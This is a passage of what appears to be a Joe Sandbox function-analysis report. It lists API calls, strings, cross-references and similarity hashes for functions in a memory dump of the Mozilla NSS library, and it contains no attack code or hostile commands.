Function 6C612D20 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6C612D69

Strings

winSeekFile, xrefs: 6C612E9C
@sl, xrefs: 6C612E24
Psl, xrefs: 6C612E74, 6C612EC5, 6C612F32, 6C612F5C
winTruncate1, xrefs: 6C612EBE
winUnmapfile2, xrefs: 6C612F7F
winUnmapfile1, xrefs: 6C612F55
winTruncate2, xrefs: 6C612EF8
sl, xrefs: 6C612DD0

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __allrem
String ID: @sl$Psl$winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2$sl
API String ID: 2933888876-3430797899
Opcode ID: d5c08dc0f78e398886bb210e16bc121ff6ec1f5a31c4a17c8b0dc0c0b495b250
Instruction ID: 799d79e744c3c74dcc5caa5a45a8f2d921f19165687e68a08c20265341365a52
Opcode Fuzzy Hash: d5c08dc0f78e398886bb210e16bc121ff6ec1f5a31c4a17c8b0dc0c0b495b250
Instruction Fuzzy Hash: 6061A371B052099FDB04CF68DC58AAA77B1FF4A315F208138E915DBB90EB31AD06CB95

Function 6C697F90 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6C697FB2

Part of subcall function 6C61BA40: TlsGetValue.KERNEL32 ref: 6C61BA51
Part of subcall function 6C61BA40: TlsGetValue.KERNEL32 ref: 6C61BA6B
Part of subcall function 6C61BA40: EnterCriticalSection.KERNEL32 ref: 6C61BA83
Part of subcall function 6C61BA40: TlsGetValue.KERNEL32 ref: 6C61BAA1
Part of subcall function 6C61BA40: _PR_MD_UNLOCK.NSS3 ref: 6C61BAC0

PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6C697FD4

Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90AB
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90C9
Part of subcall function 6C6E9090: EnterCriticalSection.KERNEL32 ref: 6C6E90E5
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E9116
Part of subcall function 6C6E9090: LeaveCriticalSection.KERNEL32 ref: 6C6E913F

Part of subcall function 6C699430: PR_SetError.NSS3(FFFFD0AC,00000000), ref: 6C699466

PR_ExitMonitor.NSS3(?), ref: 6C69801B
PR_EnterMonitor.NSS3(?), ref: 6C698034
TlsGetValue.KERNEL32 ref: 6C6980A2
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6980C0
PR_ExitMonitor.NSS3(?), ref: 6C69811C
PR_ExitMonitor.NSS3(?), ref: 6C698134

Strings

), xrefs: 6C6980DB

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSection$Error$CountEntryLeave
String ID: )
API String ID: 3537756449-2427484129
Opcode ID: 178fde6821bc4a7746733d747f927e0df6bb9057660419a28d8566d59c5f4287
Instruction ID: 382e5b6e0121aa6727ce2c2f38e03b7c770a187d969e1b7fa304e7ddacc36ee1
Opcode Fuzzy Hash: 178fde6821bc4a7746733d747f927e0df6bb9057660419a28d8566d59c5f4287
Instruction Fuzzy Hash: 28515971A057079BEB119F34DC017EB77B0AF4A30CF08052EDD5A52A62EB31A509C79E

Function 6C63FCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6C63FCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6C63FCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6C63FCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C63FD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6C63FD46
PORT_Alloc_Util.NSS3(00000001), ref: 6C63FD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6C63FD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C63FD84

Strings

:, xrefs: 6C63FD78

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: fa4d109ff5eb8e76cfa8faf99412bc652169646ac0c9f7546697f8953ea5ae42
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: 1A31D3B29402295BEB018AA49D097AF77E8EF41318F152164DC1CA7B11E772E908C7EB

Function 6C620F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C620F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C620F84

Part of subcall function 6C67B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7518D0,?), ref: 6C67B095

SEC_QuickDERDecodeItem_Util.NSS3(?,6C63F59B,6C74890C,?), ref: 6C620FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6C620FC1

Part of subcall function 6C680BE0: malloc.MOZGLUE(6C678D2D,?,00000000,?), ref: 6C680BF8
Part of subcall function 6C680BE0: TlsGetValue.KERNEL32(6C678D2D,?,00000000,?), ref: 6C680C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6C620FDB
PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C620FEF
PL_FreeArenaPool.NSS3(?), ref: 6C621001
PL_FinishArenaPool.NSS3(?), ref: 6C621009

Strings

security, xrefs: 6C620F5C

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: 15a0f29033f2ad13d82ef1977e4289342a29216bc94d6f643f45603dd3bdf1f3
Instruction ID: 3789d4186bd1c1e152a8e6d0783ab0f9f1c38c8a13310d6f4adefb1d9a79ccd3
Opcode Fuzzy Hash: 15a0f29033f2ad13d82ef1977e4289342a29216bc94d6f643f45603dd3bdf1f3
Instruction Fuzzy Hash: EC2134B1904208ABE7109F24DC44EAFB7B4EF85658F008428FC1897602FB31DA05CBEA

Function 6C626DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C627D8F,6C627D8F,?,?), ref: 6C626DC8

Part of subcall function 6C67FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C67FE08
Part of subcall function 6C67FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C67FE1D
Part of subcall function 6C67FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C67FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C627D8F,?,?), ref: 6C626DD5

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C748FA0,00000000,?,?,?,?,6C627D8F,?,?), ref: 6C626DF7

Part of subcall function 6C67B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7518D0,?), ref: 6C67B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C626E35

Part of subcall function 6C67FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C67FE29
Part of subcall function 6C67FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C67FE3D
Part of subcall function 6C67FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C67FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C626E4C

Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C748FE0,00000000), ref: 6C626E82

Part of subcall function 6C626AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C62B21D,00000000,00000000,6C62B219,?,6C626BFB,00000000,?,00000000,00000000,?,?,?,6C62B21D), ref: 6C626B01
Part of subcall function 6C626AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C626B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C626F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C626F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C748FE0,00000000), ref: 6C626F6B
PR_SetError.NSS3(FFFFE005,00000000,6C627D8F,?,?), ref: 6C626FE1

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 847e53029aa6f223a192700fcb51f437c80891cf1b2e5e5553ed1bae58ade909
Instruction ID: 9b91d842e497fe2fcadea8374da5945f9b0b30d6e0f146c383471dc8f42a02fe
Opcode Fuzzy Hash: 847e53029aa6f223a192700fcb51f437c80891cf1b2e5e5553ed1bae58ade909
Instruction Fuzzy Hash: 6B718F71D102469BEB10CF15CD40FAABBA5BF95308F154229EC18DBB11F774EA94CBA8

Function 6C660FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C661057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C661085
PK11_GetAllTokens.NSS3 ref: 6C6610B1
free.MOZGLUE(?), ref: 6C661107
PR_SetError.NSS3(00000000,00000000), ref: 6C661172
free.MOZGLUE(?), ref: 6C661182
free.MOZGLUE(?), ref: 6C6611A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C6611C5

Part of subcall function 6C6652C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6C63EAC5,00000001), ref: 6C6652DF
Part of subcall function 6C6652C0: EnterCriticalSection.KERNEL32(?), ref: 6C6652F3
Part of subcall function 6C6652C0: PR_Unlock.NSS3(?), ref: 6C665358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C6611D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C6611F3

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: 45a018306512807e904c8dac7f30034aa11c60d5a4028ef825655056d1a7b090
Instruction ID: db6bdd813cf2ba6c1cf8fdb5b5729146bbc07fb9851be1f244c55297ff48c501
Opcode Fuzzy Hash: 45a018306512807e904c8dac7f30034aa11c60d5a4028ef825655056d1a7b090
Instruction Fuzzy Hash: 4961A4B0E013459BDF00DF66D845B9AB7B4BF49348F144129EC19ABB41EB31E944CB6A

Function 6C66ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AE10
EnterCriticalSection.KERNEL32(?,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C64D079,00000000,00000001), ref: 6C66AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AE7F
TlsGetValue.KERNEL32(?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AEF1
free.MOZGLUE(6C64CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C64CDBB,?), ref: 6C66AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AF30

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: c6218654c8b4fa7f614cade72da507b6a525e87a4a489a17b313a1a40388e88e
Instruction ID: 83ae48fa7b1890873aacb67ce3b68f432809cee2124f2b4be1e5a91bc47fdad1
Opcode Fuzzy Hash: c6218654c8b4fa7f614cade72da507b6a525e87a4a489a17b313a1a40388e88e
Instruction Fuzzy Hash: BE51AFB1A00611AFDB01DF26D884B56B7B4FF09319F144264E91897E12E731F864CBD6

Function 6C644CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C64AB7F,?,00000000,?), ref: 6C644CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C64AB7F,?,00000000,?), ref: 6C644CC8
TlsGetValue.KERNEL32(?,6C64AB7F,?,00000000,?), ref: 6C644CE0
EnterCriticalSection.KERNEL32(?,?,6C64AB7F,?,00000000,?), ref: 6C644CF4
PL_HashTableLookup.NSS3(?,?,?,6C64AB7F,?,00000000,?), ref: 6C644D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C644D10

Part of subcall function 6C6CDD70: TlsGetValue.KERNEL32 ref: 6C6CDD8C
Part of subcall function 6C6CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDDB4

PR_Now.NSS3(?,00000000,?), ref: 6C644D26

Part of subcall function 6C6E9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C730A27), ref: 6C6E9DC6
Part of subcall function 6C6E9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C730A27), ref: 6C6E9DD1
Part of subcall function 6C6E9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6E9DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C644D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C644DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C644E02

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 6fa50a25a9985ee6a4b7c01aee7335158fcbfdbb25c82114dc6c326ff2dc4529
Instruction ID: ff21957d371164a5e3882f92d24478c673dc3906d2e6adcd5a8cefa9225ba89d
Opcode Fuzzy Hash: 6fa50a25a9985ee6a4b7c01aee7335158fcbfdbb25c82114dc6c326ff2dc4529
Instruction Fuzzy Hash: A241B7B5A00515ABEB015F28EC419A677E9EF0635DF05D170EC0887B11EF71D914CBEA

Function 6C62BFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C62BFFB

Part of subcall function 6C680FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
Part of subcall function 6C680FF0: PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016
Part of subcall function 6C680FF0: PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6C62C015

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6C62C032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6C62C04D

Part of subcall function 6C6769E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C676A47
Part of subcall function 6C6769E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6C676A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6C62C064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6C62C07B

Part of subcall function 6C628980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6C627310), ref: 6C6289B8
Part of subcall function 6C628980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6C627310), ref: 6C6289E6
Part of subcall function 6C628980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6C628A00
Part of subcall function 6C628980: CERT_CopyRDN.NSS3(00000004,00000000,6C627310,?,?,00000004,?), ref: 6C628A1B
Part of subcall function 6C628980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6C628A74

Part of subcall function 6C621D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6C62C097,00000000,000000B0,?), ref: 6C621D2C
Part of subcall function 6C621D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6C62C09B,00000000,00000000,00000000,?,6C62C097,00000000,000000B0,?), ref: 6C621D3F
Part of subcall function 6C621D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6C62C087,00000000,000000B0,?), ref: 6C621D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6C62C0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6C62C0C9

Part of subcall function 6C632DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6C62C0D2,6C62C0CE,00000000,-000000D4,?), ref: 6C632DF5
Part of subcall function 6C632DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6C62C0CE,00000000,-000000D4,?), ref: 6C632E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6C62C0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C62C0E3

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: 47794dd243b6ec662f61a6df8816a4c9c13c7f165a6b76e6537a8a30beb3c46f
Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: AF2177B2A4010577FB005A61AC81FFB72AC9F4275CF084134FD05D9647FB2AD9199ABE

Function 6C622E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C622CDA,?,00000000), ref: 6C622E1E

Part of subcall function 6C67FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C629003,?), ref: 6C67FD91
Part of subcall function 6C67FD80: PORT_Alloc_Util.NSS3(A4686C68,?), ref: 6C67FDA2
Part of subcall function 6C67FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C68,?,?), ref: 6C67FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C622E33

Part of subcall function 6C67FD80: free.MOZGLUE(00000000,?,?), ref: 6C67FDD1

TlsGetValue.KERNEL32 ref: 6C622E4E
EnterCriticalSection.KERNEL32(?), ref: 6C622E5E
PL_HashTableLookup.NSS3(?), ref: 6C622E71
PL_HashTableRemove.NSS3(?), ref: 6C622E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6C622E96
PR_Unlock.NSS3 ref: 6C622EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C622EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C622EC5

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

